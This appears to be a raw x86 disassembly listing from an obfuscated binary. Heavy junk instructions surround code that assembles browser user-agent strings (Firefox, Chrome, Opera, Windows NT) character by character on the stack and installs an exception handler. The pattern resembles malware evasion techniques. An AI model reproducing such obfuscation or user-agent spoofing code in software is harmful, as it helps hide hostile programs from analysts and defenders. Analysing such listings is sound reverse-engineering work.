rol dh, 0x49
test esi, edi
bt dx, 0x80
mov edx, eax
mov word [ebp - 0x17a4], dx
mov word [ebp - 0x17a2], ax
mov word [ebp - 0x17a0], cx
mov word [ebp - 0x179e], dx
stc
mov eax, ecx
btr ecx, 0x9b
neg cl
mov word [ebp - 0x179c], ax
stc
inc edx
cwd
mov ecx, 0x20
mov word [ebp - 0x179a], cx
mov edx, 0x46
mov word [ebp - 0x1798], dx
bt edx, 0xb4
add al, 0x42
mov eax, 0x69
btc cx, ax
bswap edx
mov word [ebp - 0x1796], ax
clc
mov cx, si
sub ax, 0x7346
mov ecx, 0x72
clc
bsf ax, dx
ror dx, cl
mov word [ebp - 0x1794], cx
mov edx, 0x65
mov word [ebp - 0x1792], dx
and ecx, 0x2a654a2d
mov eax, 0x66
movsx edx, cx
and cx, dx
mov word [ebp - 0x1790], ax
btc ecx, 0xa6
mov ecx, 0x6f
cmovnp edx, esp
mov word [ebp - 0x178e], cx
sar ch, 0x19
adc ch, 0x54
bsf eax, esi
mov edx, 0x78
mov word [ebp - 0x178c], dx
bts eax, edx
mov ecx, 0x6f195b68
mov eax, 0x2f
mov word [ebp - 0x178a], ax
jmp 0x10906ba
call fcn.0075840d
test eax, eax
jmp 0x75796f
mov word [ebp - 0x1da4], ax
cwde
neg ah
mov ecx, 0x73
bsr edx, ebp
cmc
rcl dl, 0x92
mov word [ebp - 0x1da2], cx
mov edx, 0x69
cmp edx, 0x32e132bc
mov word [ebp - 0x1da0], dx
cwde
neg ah
mov eax, 0x6f
mov word [ebp - 0x1d9e], ax
rol eax, 0xda
shld eax, edi, 0xf4
test esi, ecx
mov ecx, 0x6e
cmovae dx, bx
ror al, cl
cdq
mov word [ebp - 0x1d9c], cx
stc
sbb ah, ah
mov edx, 0x2f
cmc
btr eax, 0xcc
mov word [ebp - 0x1d9a], dx
cmp esi, 0x60987511
mov eax, 0x31
cmp si, si
btc edx, ebp
mov word [ebp - 0x1d98], ax
cwd
mov ecx, 0x30
rcr ax, cl
sub dh, 0x22
mov word [ebp - 0x1d96], cx
sal al, cl
rol ah, cl
ror ax, 0xc3
mov edx, 0x2e
inc ah
test ebx, ebp
shl ax, cl
mov word [ebp - 0x1d94], dx
movsx eax, si
or ax, 0x14a5
bsr eax, ebx
mov eax, ecx
mov word [ebp - 0x1d92], ax
mov word [ebp - 0x1d90], cx
sub edx, edx
cwde
cbw
lahf
mov word [ebp - 0x1d8e], dx
push 0x16c
push edx
jmp 0xfdea70
call fcn.004737c0
lea esp, [esp + 0xc]
ror edx, 0xea
shl al, 0x50
mov ecx, 0x4f
rcl dx, cl
shr dh, 0x48
mov word [ebp - 0x1c20], cx
xchg cx, ax
sub ecx, 0x50ea2f05
not dh
mov edx, 0x70
add al, 0x4f
sub cx, di
mov word [ebp - 0x1c1e], dx
rcl ax, 8
test ch, 0x9c
or al, 0xa0
mov eax, 0x65
xor dh, 0x9a
or cx, ax
mov word [ebp - 0x1c1c], ax
shrd edx, eax, 0xee
mov ecx, 0x72
rcl eax, 0xf8
mov word [ebp - 0x1c1a], cx
rol cl, 0xcc
mov edx, 0x61
btr cx, 6
bswap ax
mov word [ebp - 0x1c18], dx
xadd eax, edx
sar dh, cl
sbb cx, sp
mov eax, 0x2f
or dh, dh
mov word [ebp - 0x1c16], ax
bts cx, sp
mov ecx, 0x39
bts dx, bp
rcl edx, 0xfb
bsf edx, edx
mov word [ebp - 0x1c14], cx
shr ah, 0xfb
and dh, 0xf8
mov edx, 0x2e
sub al, 0x88
mov word [ebp - 0x1c12], dx
bswap ecx
mov eax, 0x36
adc cx, 0x2960
xor cx, di
mov word [ebp - 0x1c10], ax
mov ecx, 0x30
mov word [ebp - 0x1c0e], cx
mov edx, 0x20
mov word [ebp - 0x1c0c], dx
shld cx, bx, 0x68
test bx, bx
rol edx, 0x1e
mov eax, 0x28
or ch, 0x6b
mov cl, 0x31
mov word [ebp - 0x1c0a], ax
shl dx, 0xc2
bts cx, si
cmovge ax, bp
mov ecx, 0x57
xadd eax, edx
shr dx, cl
mov word [ebp - 0x1c08], cx
shld ax, cx, 0x26
jmp 0xfe4cbe
mov word [ebp - 0x19ba], dx
rcr cx, cl
and ch, 0x9f
mov eax, 0x63
btr dx, cx
ror dl, 0xc2
mov word [ebp - 0x19b8], ax
jmp 0x5dfaa9
mov ecx, 0x69
mov word [ebp - 0x121a], cx
mov edx, 0x6c
mov word [ebp - 0x1218], dx
or ecx, esp
mov eax, edx
not ch
sbb ecx, ecx
mov word [ebp - 0x1216], ax
ror dx, cl
mov ecx, 0x61
shl ah, 0xf1
mov word [ebp - 0x1214], cx
mov edx, 0x2f
movzx ecx, di
mov word [ebp - 0x1212], dx
cmp edx, esi
shr ax, 0x69
mov eax, 0x35
or dx, dx
mov word [ebp - 0x1210], ax
bt cx, 0x28
inc cl
mov ecx, 0x2e
neg ah
shrd ax, sp, 0x94
sar dl, 0x97
mov word [ebp - 0x120e], cx
rcl cx, 3
or cx, bx
mov edx, 0x30
test di, 0x70d1
bts ecx, ebx
movzx eax, di
mov word [ebp - 0x120c], dx
jmp 0x684507
push ebx
push esi
mov bx, 0x2f00
movsx ebx, dx
push edi
mov esi, 0x2eac1aad
push eax
cmovns eax, ecx
lea eax, [ebp - 0x10]
bswap esi
mov dword fs:[0], eax
movzx ebx, sp
movsx ebx, bx
mov al, 0xab
mov dword [ebp - 0x18], esp
xchg si, si
lahf
mov ebx, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
jmp 0x74ba44
push 0x134
movzx eax, di
push edx
lea eax, [ebp - 0x1354]
jmp 0x104e862
push eax
jmp 0x776289
lea eax, [ebp - 0x1d8c]
jmp 0x6274a1
mov edx, 0x69
btr cx, 0x1e
mov word [ebp - 0x1c06], dx
mov eax, 0x6e
mov word [ebp - 0x1c04], ax
mov ecx, 0x64
bts edx, esi
movzx eax, sp
cwd
mov word [ebp - 0x1c02], cx
movsx eax, sp
or dh, ch
mov edx, 0x6f
mov word [ebp - 0x1c00], dx
mov eax, 0x77
xchg ch, dl
mov word [ebp - 0x1bfe], ax
btr cx, sp
shr dh, 0xb6
mov ecx, 0x73
not edx
inc dh
mov word [ebp - 0x1bfc], cx
and cl, dl
dec ah
mov edx, 0x20
shl eax, cl
mov word [ebp - 0x1bfa], dx
movzx ecx, cx
mov eax, 0x4e
mov word [ebp - 0x1bf8], ax
ror ch, cl
mov ecx, 0x54
lahf
mov word [ebp - 0x1bf6], cx
nop
ror ah, 0xbd
mov word [ebp - 0x1bf4], dx
cmovne dx, si
mov eax, 0x36
mov word [ebp - 0x1bf2], ax
cdq
mov ecx, 0x2e
mov word [ebp - 0x1bf0], cx
sal cx, cl
mov edx, 0x30
ror cx, cl
not ecx
mov word [ebp - 0x1bee], dx
shr ch, cl
mov eax, 0x3b
mov word [ebp - 0x1bec], ax
mov ecx, 0x20
sbb dl, 0x27
rcr edx, cl
mov word [ebp - 0x1bea], cx
bt edx, 0x73
mov edx, 0x55
mov word [ebp - 0x1be8], dx
btr dx, bp
shrd dx, di, 0x1a
mov word [ebp - 0x1be6], ax
adc ax, 0x6c7e
not dx
bswap ax
mov word [ebp - 0x1be4], cx
mov edx, 0x65
cmc
add eax, eax
mov word [ebp - 0x1be2], dx
cbw
sal ch, cl
neg ecx
mov eax, 0x6e
bt cx, ax
mov word [ebp - 0x1be0], ax
mov ecx, 0x29
xor edx, esp
sub dh, 0xff
mov word [ebp - 0x1bde], cx
adc eax, 0x27623d91
bt ecx, edx
btr ax, si
mov edx, 0x20
setne ch
bts ecx, esi
rol cx, 0x22
mov word [ebp - 0x1bdc], dx
mov eax, 0x50
bt edx, esp
movzx edx, bx
xadd ch, dl
mov word [ebp - 0x1bda], ax
adc edx, esi
mov ecx, 0x72
mov word [ebp - 0x1bd8], cx
mov edx, 0x65
xchg cl, al
neg ch
mov word [ebp - 0x1bd6], dx
shrd ax, bp, 0xb6
mov eax, 0x73
mov word [ebp - 0x1bd4], ax
cwd
sar eax, cl
movsx dx, ah
mov ecx, 0x74
sal dx, cl
bts edx, ebp
mov word [ebp - 0x1bd2], cx
neg ch
bsf ecx, esi
setbe dl
mov edx, 0x6f
sub cl, 0x69
mov word [ebp - 0x1bd0], dx
mov eax, 0x2f
bt edx, ebx
mov cl, 0x4a
sal cl, cl
mov word [ebp - 0x1bce], ax
mov ecx, 0x32
cwd
mov word [ebp - 0x1bcc], cx
mov edx, 0x2e
rol ax, cl
rcl al, cl
mov word [ebp - 0x1bca], dx
bts eax, edi
mov eax, 0x31
btc ecx, 0xdd
stc
mov word [ebp - 0x1bc8], ax
ror cx, cl
mov ecx, edx
mov dl, 0x32
mov word [ebp - 0x1bc6], cx
add edx, 0x202269c7
xchg cx, cx
btr dx, 0xd
mov edx, eax
mov word [ebp - 0x1bc4], dx
cmp sp, cx
sub eax, eax
movsx ecx, bx
xchg cx, cx
mov word [ebp - 0x1bc2], ax
mov cx, 0x60c8
movzx cx, dl
push 0x1a0
sete ch
push eax
lea ecx, [ebp - 0x1bc0]
jmp 0x6515d5
mov edx, 0x69
cbw
mov word [ebp - 0x1404], dx
btc ecx, ebx
lahf
cmp esi, 0x4db02d01
mov eax, 0x6e
mov word [ebp - 0x1402], ax
rdtsc
inc dl
mov ecx, 0x64
mov word [ebp - 0x1400], cx
mov edx, 0x6f
btc ax, 0x83
mov word [ebp - 0x13fe], dx
bts ax, ax
mov eax, 0x77
inc cx
btr cx, ax
ror cx, 0xf3
mov word [ebp - 0x13fc], ax
mov ecx, 0x73
mov word [ebp - 0x13fa], cx
rcl al, 0x70
mov edx, 0x20
adc cx, 0x6bc0
mov word [ebp - 0x13f8], dx
mov eax, 0x4e
mov word [ebp - 0x13f6], ax
movzx eax, sp
sub cl, 0x32
bsr ax, bx
mov ecx, 0x54
and ax, di
lahf
mov word [ebp - 0x13f4], cx
ror al, 0xf6
jmp 0x726c2c
mov ecx, 0x28
mov word [ebp - 0x1208], cx
test dx, 0x2123
or dx, di
mov edx, 0x57
shl ax, cl
rol eax, cl
cmc
mov word [ebp - 0x1206], dx
mov dx, 0x4974
sar ah, cl
mov eax, 0x69
movsx ecx, bp
adc edx, 0x25380bed
mov word [ebp - 0x1204], ax
mov ecx, 0x6e
rcr dx, cl
mov word [ebp - 0x1202], cx
inc ah
mov edx, 0x64
clc
mov word [ebp - 0x1200], dx
mov eax, 0x6f
xadd dl, ch
shld cx, sp, 0xb2
and ecx, 0x23fd365e
mov word [ebp - 0x11fe], ax
inc dh
rcr dh, 9
mov ecx, 0x77
mov ax, dx
mov word [ebp - 0x11fc], cx
mov edx, 0x73
shl cx, 0x96
mov word [ebp - 0x11fa], dx
clc
sal dh, cl
mov eax, 0x20
xchg ch, ch
mov word [ebp - 0x11f8], ax
bts ecx, eax
mov ecx, 0x4e
btr edx, 0xf2
btc edx, 0x52
xadd dx, dx
mov word [ebp - 0x11f6], cx
mov edx, 0x54
bswap ecx
setns ch
mov word [ebp - 0x11f4], dx
mov word [ebp - 0x11f2], ax
btc dx, si
test cx, sp
mov ecx, 0x36
bt edx, edx
not al
mov word [ebp - 0x11f0], cx
mov dh, 0x48
mov edx, 0x2e
shl ch, 0x5b
or ch, 0xf2
mov word [ebp - 0x11ee], dx
lahf
cdq
xor dl, al
mov eax, 0x31
mov word [ebp - 0x11ec], ax
sar edx, 0x42
mov ecx, 0x3b
dec eax
cbw
mov word [ebp - 0x11ea], cx
movsx edx, bp
and cx, 0x4770
sar cx, cl
mov edx, 0x20
mov word [ebp - 0x11e8], dx
cbw
mov eax, 0x57
shrd dx, di, 0x85
cwd
sbb cl, 0xde
mov word [ebp - 0x11e6], ax
sub eax, 0x20772954
cbw
mov ecx, 0x69
cdq
mov word [ebp - 0x11e4], cx
or dh, cl
or al, 0xa7
bt eax, 0xf1
mov edx, 0x6e
cwde
ror al, cl
add cx, sp
mov word [ebp - 0x11e2], dx
neg edx
mov eax, 0x36
mov word [ebp - 0x11e0], ax
rol edx, 0x6d
sal cx, cl
mov ecx, 0x34
rdtsc
bts eax, esi
movsx edx, sp
mov word [ebp - 0x11de], cx
movzx cx, dh
mov edx, 0x3b
shld ecx, ebx, 0x42
mov word [ebp - 0x11dc], dx
bt eax, 0x4b
sar ax, cl
mov eax, 0x20
xor dh, 0x2d
sal dh, cl
cmp ebx, edi
mov word [ebp - 0x11da], ax
btr cx, 0x72
mov ecx, 0x78
cwde
bts ax, bp
mov word [ebp - 0x11d8], cx
mov edx, 0x36
sal eax, cl
bsf ecx, edi
mov word [ebp - 0x11d6], dx
add dx, 0x5a63
mov eax, 0x34
neg ch
mov word [ebp - 0x11d4], ax
mov ecx, 0x29
setg ah
test si, 0x3601
mov word [ebp - 0x11d2], cx
mov edx, 0x20
test cl, 0x9e
xor cx, di
btr eax, ebx
mov word [ebp - 0x11d0], dx
neg ch
mov eax, 0x41
mov word [ebp - 0x11ce], ax
sub al, 0x81
mov ecx, 0x70
test bx, 0x3f0c
mov word [ebp - 0x11cc], cx
mov edx, ecx
mov word [ebp - 0x11ca], dx
rdtsc
ror eax, 0x34
sub cx, 0xa31
mov eax, 0x6c
or dx, di
dec ch
mov word [ebp - 0x11c8], ax
sbb eax, 0x5a54aaa
sar ah, 0x5d
sal dh, cl
mov ecx, 0x65
mov dh, 0x45
mov word [ebp - 0x11c6], cx
movsx edx, bx
mov edx, 0x57
mov word [ebp - 0x11c4], dx
cmp bp, 0x5ee2
mov eax, ecx
rcl cx, 0xff
cmovno cx, cx
mov word [ebp - 0x11c2], ax
test dh, 0xbf
mov ecx, 0x62
btr ax, si
neg edx
not eax
mov word [ebp - 0x11c0], cx
inc cx
rcr ch, cl
shl dx, cl
mov edx, 0x4b
sar ch, cl
mov word [ebp - 0x11be], dx
mov eax, 0x69
or ch, bh
add cl, ah
bsr edx, ebp
mov word [ebp - 0x11bc], ax
xadd cx, dx
mov ecx, 0x74
mov word [ebp - 0x11ba], cx
mov edx, 0x2f
mov word [ebp - 0x11b8], dx
mov eax, 0x35
mov word [ebp - 0x11b6], ax
rol ecx, 0x46
and eax, 0x3236254
test esi, 0x19bd7f0c
mov ecx, 0x33
mov word [ebp - 0x11b4], cx
mov edx, 0x37
mov word [ebp - 0x11b2], dx
test si, 0x266e
shrd eax, ebx, 0x30
and dh, 0x32
mov eax, 0x2e
bsf edx, esi
btc edx, eax
movzx edx, sp
mov word [ebp - 0x11b0], ax
cmp esp, 0x8fd6f77
mov word [ebp - 0x11ae], cx
bt eax, edi
cwde
mov edx, 0x36
lahf
mov word [ebp - 0x11ac], dx
adc ah, 0x8b
or edx, 0x419e07cc
mov eax, 0x20
cmp dx, bp
sal dx, 0xac
mov word [ebp - 0x11aa], ax
mov ecx, 0x28
adc edx, 0x4e754948
add dx, 0x5587
mov word [ebp - 0x11a8], cx
cdq
stc
mov edx, 0x4b
ror cx, 0xa5
cmovb cx, sp
clc
mov word [ebp - 0x11a6], dx
btc cx, 0x9c
mov eax, 0x48
mov word [ebp - 0x11a4], ax
mov ecx, 0x54
rol dl, cl
sar dl, 0x2a
rcl eax, cl
mov word [ebp - 0x11a2], cx
rcr ah, 0x9e
sal al, 0xb2
mov edx, 0x4d
jmp 0x703d2b
push edx
jmp 0x6af8aa
call fcn.004737c0
lea esp, [esp + 0xc]
mov eax, 0x4d
mov word [ebp - 0x1420], ax
shld eax, esi, 0xd7
movsx ecx, cx
sal ecx, cl
mov ecx, 0x6f
and eax, edi
mov word [ebp - 0x141e], cx
btr edx, eax
cmc
jmp 0x6b8650
push eax
jmp 0x5cbad6
mov word [ebp - 0x1618], dx
shr ah, cl
not ah
mov eax, edx
xor dl, 0xf
bswap dx
shrd cx, cx, 0x9d
mov word [ebp - 0x1616], ax
or cl, 0x26
movsx ecx, ax
mov ecx, 0x61
bt eax, esp
add edx, ebp
mov word [ebp - 0x1614], cx
mov edx, 0x2f
sbb ax, bx
adc cx, di
cmc
mov word [ebp - 0x1612], dx
mov eax, 0x35
mov word [ebp - 0x1610], ax
and edx, 0x7ef44ce1
mov ecx, 0x2e
and ah, ah
or ax, sp
mov word [ebp - 0x160e], cx
mov edx, 0x30
lahf
rcr cl, cl
mov word [ebp - 0x160c], dx
mov eax, 0x20
mov word [ebp - 0x160a], ax
shr ecx, 0x3a
xor edx, 0x75481c3d
test bh, dh
mov ecx, 0x28
cmp ax, bp
add ax, sp
rcr al, cl
mov word [ebp - 0x1608], cx
test ecx, 0x3aca08a9
mov edx, 0x57
stc
mov word [ebp - 0x1606], dx
sub edx, esi
cmp si, dx
cwde
mov eax, 0x69
mov word [ebp - 0x1604], ax
mov ecx, 0x6e
or edx, esp
sal dl, cl
movzx ax, ch
mov word [ebp - 0x1602], cx
mov edx, 0x64
movzx cx, bh
btc cx, 0xf9
sar al, 0xeb
mov word [ebp - 0x1600], dx
cmovs ax, dx
mov eax, 0x6f
xor cx, 0x22fd
not cx
xor dx, di
mov word [ebp - 0x15fe], ax
btr cx, dx
bswap ecx
mov ecx, 0x77
rol ah, 0x48
mov word [ebp - 0x15fc], cx
movsx ecx, ax
sbb dx, 0x2d3
mov edx, 0x73
and eax, 0x62a12656
bswap ecx
dec al
mov word [ebp - 0x15fa], dx
rol ah, cl
cmovnp ax, dx
mov eax, 0x20
shld dx, bp, 0xb3
mov word [ebp - 0x15f8], ax
mov dh, 0x12
sbb ch, 0x23
mov ecx, 0x4e
bsr dx, cx
mov word [ebp - 0x15f6], cx
sar cx, cl
mov edx, 0x54
or cx, di
mov word [ebp - 0x15f4], dx
mov word [ebp - 0x15f2], ax
mov ecx, 0x35
bswap edx
mov word [ebp - 0x15f0], cx
test dl, 0x4c
bts dx, cx
mov edx, 0x2e
stc
sar cx, 0x2f
mov word [ebp - 0x15ee], dx
sal dh, cl
mov eax, 0x31
sar ecx, cl
cmp ebx, ebp
mov word [ebp - 0x15ec], ax
lahf
sal dl, cl
test ebp, esp
mov ecx, 0x29
mov word [ebp - 0x15ea], cx
shr dh, cl
cwd
mov edx, 0x20
nop
sar ch, cl
test esp, ecx
mov word [ebp - 0x15e8], dx
mov eax, 0x41
mov word [ebp - 0x15e6], ax
sal dl, 0x52
cmovp cx, dx
bsf ax, dx
mov ecx, 0x70
ror ah, 0x70
or dx, si
mov word [ebp - 0x15e4], cx
mov edx, ecx
xadd ah, ch
mov word [ebp - 0x15e2], dx
dec ch
sub ecx, esp
mov eax, 0x6c
mov word [ebp - 0x15e0], ax
sal dx, cl
mov ecx, 0x65
movsx eax, di
mov word [ebp - 0x15de], cx
stc
mov edx, 0x57
sal ah, cl
bt ax, 0x7a
movsx ax, dl
mov word [ebp - 0x15dc], dx
rdtsc
and dx, 0x389a
rcr ax, cl
mov eax, ecx
inc dl
mov word [ebp - 0x15da], ax
shrd edx, edi, 0x6b
mov eax, 0x291d0706
jmp 0x665439
mov ecx, 0x36
mov word [ebp - 0x19e0], cx
add ch, 0x38
test edx, edi
adc ax, cx
mov edx, 0x34
xor ecx, eax
mov word [ebp - 0x19de], dx
sal cl, 0x94
rol dh, cl
mov eax, 0x3b
mov word [ebp - 0x19dc], ax
btc edx, edi
inc cx
mov ecx, 0x20
rol ah, 0xe1
mov word [ebp - 0x19da], cx
not dl
mov edx, 0x78
setns ch
cmovg eax, ebx
sal eax, 0xc9
mov word [ebp - 0x19d8], dx
xor ecx, eax
shr ecx, cl
mov eax, 0x36
mov word [ebp - 0x19d6], ax
shl ecx, cl
xadd cx, ax
bsf eax, edi
mov ecx, 0x34
mov word [ebp - 0x19d4], cx
setge ch
mov edx, 0x3b
shl ecx, cl
mov word [ebp - 0x19d2], dx
add ecx, esi
test ebx, edi
mov eax, 0x20
mov word [ebp - 0x19d0], ax
and ax, 0x7f91
add edx, 0x23f70f96
movsx edx, di
mov ecx, 0x72
cmp ecx, ecx
cwd
mov word [ebp - 0x19ce], cx
rol ax, cl
mov edx, 0x76
ror ah, 0x68
or cx, sp
stc
mov word [ebp - 0x19cc], dx
bt cx, di
mov eax, 0x3a
adc edx, 0x6e804a20
mov word [ebp - 0x19ca], ax
shld dx, si, 0x2e
mov ecx, 0x34
lahf
mov word [ebp - 0x19c8], cx
bts cx, ax
shr ax, cl
ror ecx, cl
mov edx, 0x37
bts cx, bp
mov word [ebp - 0x19c6], dx
clc
rcr ax, 0x6f
mov eax, 0x2e
cmp edi, ebx
mov word [ebp - 0x19c4], ax
sub eax, edi
movsx ecx, bx
mov ecx, 0x30
shl dx, cl
sal edx, 0x66
mov word [ebp - 0x19c2], cx
cdq
or ax, 0x13a3
mov edx, 0x29
mov word [ebp - 0x19c0], dx
btc dx, bp
mov eax, 0x20
xadd dl, dl
sar dl, cl
mov word [ebp - 0x19be], ax
sbb ah, 0x8d
sal dx, cl
adc dl, dl
mov ecx, 0x47
rol ax, cl
mov word [ebp - 0x19bc], cx
ror cl, cl
mov al, 0x8d
mov edx, 0x65
jmp 0x7961e8
push edx
jmp 0x104de63
mov word [ebp - 0x135e], cx
mov edx, 0x2e
adc cl, 0xb3
jmp 0x5a6dbc
mov word [ebp - 0x13e8], cx
cwd
bt ax, bp
mov edx, 0x41
sal eax, cl
mov word [ebp - 0x13e6], dx
rcl edx, 0x70
mov eax, 0x70
sbb ecx, 0x2e87a67
mov word [ebp - 0x13e4], ax
dec ch
shrd dx, ax, 0x96
mov ecx, eax
sal al, cl
mov word [ebp - 0x13e2], cx
add al, dl
and edx, 0x21691df6
cwd
mov edx, 0x6c
sal eax, cl
sbb cx, 0xefa
mov word [ebp - 0x13e0], dx
cmovo ax, bx
ror edx, 0xad
cwde
mov eax, 0x65
neg ecx
shr cl, cl
ror dx, 0xbc
mov word [ebp - 0x13de], ax
sar cl, 0x1e
mov ecx, 0x57
shl edx, 0x76
mov word [ebp - 0x13dc], cx
clc
mov edx, eax
not ah
movsx cx, bl
or eax, 0x3cdc72a9
mov word [ebp - 0x13da], dx
movsx ecx, di
mov eax, 0x62
cdq
shl dx, cl
mov word [ebp - 0x13d8], ax
test bx, 0x5732
stc
mov ecx, 0x4b
cmp eax, edi
cmp cx, 0x3a7a
adc dx, 0x4c57
mov word [ebp - 0x13d6], cx
bswap edx
rol ch, cl
mov edx, 0x69
ror ecx, 0x82
sub eax, esp
mov word [ebp - 0x13d4], dx
mov eax, 0x74
test ebp, 0x1a716bc5
sal cl, 4
mov word [ebp - 0x13d2], ax
shl edx, cl
mov ecx, 0x2f
rcr dh, 0x8b
inc al
mov word [ebp - 0x13d0], cx
rcl ecx, cl
cmp esi, 0x7b2279ee
sub cx, 0x1662
mov edx, 0x35
ror ah, 0x16
mov word [ebp - 0x13ce], dx
mov eax, 0x33
btc dx, 0xff
adc ecx, esp
mov word [ebp - 0x13cc], ax
mov ecx, 0x37
sal dl, cl
ror dh, 0xd3
mov word [ebp - 0x13ca], cx
ror ch, cl
mov edx, 0x2e
bsr ecx, eax
btc cx, bx
sar ecx, cl
mov word [ebp - 0x13c8], dx
mov word [ebp - 0x13c6], ax
mov ecx, 0x36
xadd edx, eax
and al, 0x53
sal eax, 0x44
mov word [ebp - 0x13c4], cx
ror ecx, 2
mov edx, 0x20
sbb cx, 0x7a2a
mov word [ebp - 0x13c2], dx
bsf edx, esp
mov eax, 0x28
sbb dh, 0xb9
bts edx, ecx
mov word [ebp - 0x13c0], ax
mov ecx, 0x4b
cmp esi, esp
bts edx, edi
test esp, esp
mov word [ebp - 0x13be], cx
mov edx, 0x48
sub ah, 0xb9
lahf
or ecx, 0x3a405483
mov word [ebp - 0x13bc], dx
xchg al, dh
cmc
mov eax, 0x54
mov word [ebp - 0x13ba], ax
mov ecx, 0x4d
mov word [ebp - 0x13b8], cx
mov edx, 0x4c
lahf
mov word [ebp - 0x13b6], dx
mov edx, edi
add ah, 0xc8
bt eax, ebx
mov eax, 0x2c
and cx, ax
sub dl, 0xc8
mov word [ebp - 0x13b4], ax
test ah, 0xd
xor ecx, eax
or cl, bl
mov ecx, 0x20
mov word [ebp - 0x13b2], cx
ror ecx, 0xbf
btc edx, edi
mov edx, 0x6c
mov word [ebp - 0x13b0], dx
mov eax, 0x69
setle dl
mov word [ebp - 0x13ae], ax
mov ecx, 0x6b
dec dx
inc al
ror eax, cl
mov word [ebp - 0x13ac], cx
mov eax, esp
shr ch, 0xf9
mov edx, 0x65
sub ax, 0x4b51
mov word [ebp - 0x13aa], dx
bsf ecx, ecx
adc ch, 0x75
mov eax, 0x20
mov word [ebp - 0x13a8], ax
btc ax, sp
movzx ecx, si
add ah, 0x24
mov ecx, 0x47
xchg al, al
mov word [ebp - 0x13a6], cx
mov word [ebp - 0x13a4], dx
add edx, edi
mov eax, 0x63
mov word [ebp - 0x13a2], ax
rcr edx, 0x3f
rol cx, cl
movsx ecx, di
mov ecx, 0x6b
mov word [ebp - 0x13a0], cx
test bp, 0x6609
sal ah, cl
mov edx, 0x6f
mov word [ebp - 0x139e], dx
shr cx, cl
cmovbe ax, cx
mov eax, 0x29
bsf dx, ax
cmc
rcr cx, cl
mov word [ebp - 0x139c], ax
xor cx, bx
shr ch, cl
movsx edx, si
mov ecx, 0x20
bsf ax, bx
mov word [ebp - 0x139a], cx
sar al, cl
stc
mov edx, 0x43
adc al, 0xdd
btc cx, 0x34
mov word [ebp - 0x1398], dx
sub eax, 0x71511a22
mov eax, 0x68
rcr ecx, 0x78
or dh, ch
mov word [ebp - 0x1396], ax
sal al, 0x25
test al, 0x5e
mov ecx, 0x72
mov word [ebp - 0x1394], cx
sub cx, 0x565e
mov edx, 0x6f
bsf eax, esp
mov word [ebp - 0x1392], dx
ror eax, cl
rdtsc
sbb cx, 0x3dcb
mov eax, 0x6d
rcr dx, cl
mov word [ebp - 0x1390], ax
movsx eax, dx
mov ecx, 0x65
bsr ax, sp
xor ah, 2
sub edx, ebp
mov word [ebp - 0x138e], cx
btc dx, cx
mov edx, 0x2f
mov word [ebp - 0x138c], dx
rcr eax, 0xb1
bsr ecx, ebp
mov eax, 0x38
xadd dh, cl
mov word [ebp - 0x138a], ax
sal dl, 0x78
shl dl, cl
mov ecx, 0x37
sal ax, 0xe9
mov word [ebp - 0x1388], cx
not ax
mov edx, 0x2e
mov word [ebp - 0x1386], dx
test bx, di
cmp ebx, ebp
mov eax, 0x30
rol cl, 0xcb
or cx, 0x46a0
mov word [ebp - 0x1384], ax
sub ecx, esp
mov ecx, edx
mov word [ebp - 0x1382], cx
bt cx, bx
rcr dl, cl
mov edx, 0x34
mov ecx, esp
btc ax, cx
sub al, 0x5d
mov word [ebp - 0x1380], dx
mov eax, 0x32
mov word [ebp - 0x137e], ax
test sp, 0x1074
mov ecx, 0x38
mov word [ebp - 0x137c], cx
mov edx, 0x30
mov word [ebp - 0x137a], dx
bt dx, 0x55
mov eax, 0x2e
inc dx
mov word [ebp - 0x1378], ax
and edx, 0x64eb4214
movsx edx, sp
mov word [ebp - 0x1376], cx
test dl, 0x25
xadd dh, dh
mov edx, ecx
stc
bswap eax
mov word [ebp - 0x1374], dx
cmove ecx, ebp
ror cl, 2
mov eax, 0x20
bt edx, 0xfa
mov edx, ebp
test esi, 0x1e3d6d77
mov word [ebp - 0x1372], ax
shr ecx, cl
test cl, 0x8a
mov ecx, 0x53
mov word [ebp - 0x1370], cx
shl ah, cl
mov edx, 0x61
rcr cl, 0x10
cmp ebx, esp
xor eax, esp
mov word [ebp - 0x136e], dx
rol eax, 0xe2
mov eax, 0x66
inc cx
or ecx, 0x29f41910
mov word [ebp - 0x136c], ax
shl eax, cl
mov ecx, edx
mov word [ebp - 0x136a], cx
clc
rdtsc
mov edx, 0x72
mov word [ebp - 0x1368], dx
shld dx, si, 0xe6
bt eax, esi
mov eax, 0x69
mov word [ebp - 0x1366], ax
rol cl, cl
mov ecx, 0x2f
ror al, cl
sbb edx, edi
cbw
mov word [ebp - 0x1364], cx
sal ch, 0x32
add cl, 0x17
mov edx, 0x35
cbw
mov word [ebp - 0x1362], dx
rdtsc
mov eax, 0x33
mov word [ebp - 0x1360], ax
movsx cx, dl
mov ecx, 0x37
movsx edx, ax
bswap edx
jmp 0x1061f89
mov ecx, 0x34
btr ax, 4
bsr eax, edx
sar dl, 0xa7
mov word [ebp - 0x1788], cx
sal ecx, 0x6f
ror dh, 0xb4
mov edx, 0x32
shl ecx, 0xc7
mov word [ebp - 0x1786], dx
btc ax, ax
adc cl, 0xa
mov eax, 0x2e
add cx, 0x78ff
ror cl, cl
mov word [ebp - 0x1784], ax
mov ecx, 0x30
shld ax, sp, 0xf1
clc
mov ah, bh
mov word [ebp - 0x1782], cx
bswap ax
sub edx, edx
mov word [ebp - 0x1780], dx
bswap eax
cmovl eax, esp
cbw
push 0x15e
movsx eax, bx
not al
nop
push edx
bswap eax
lea eax, [ebp - 0x177e]
push eax
jmp 0x73fa9e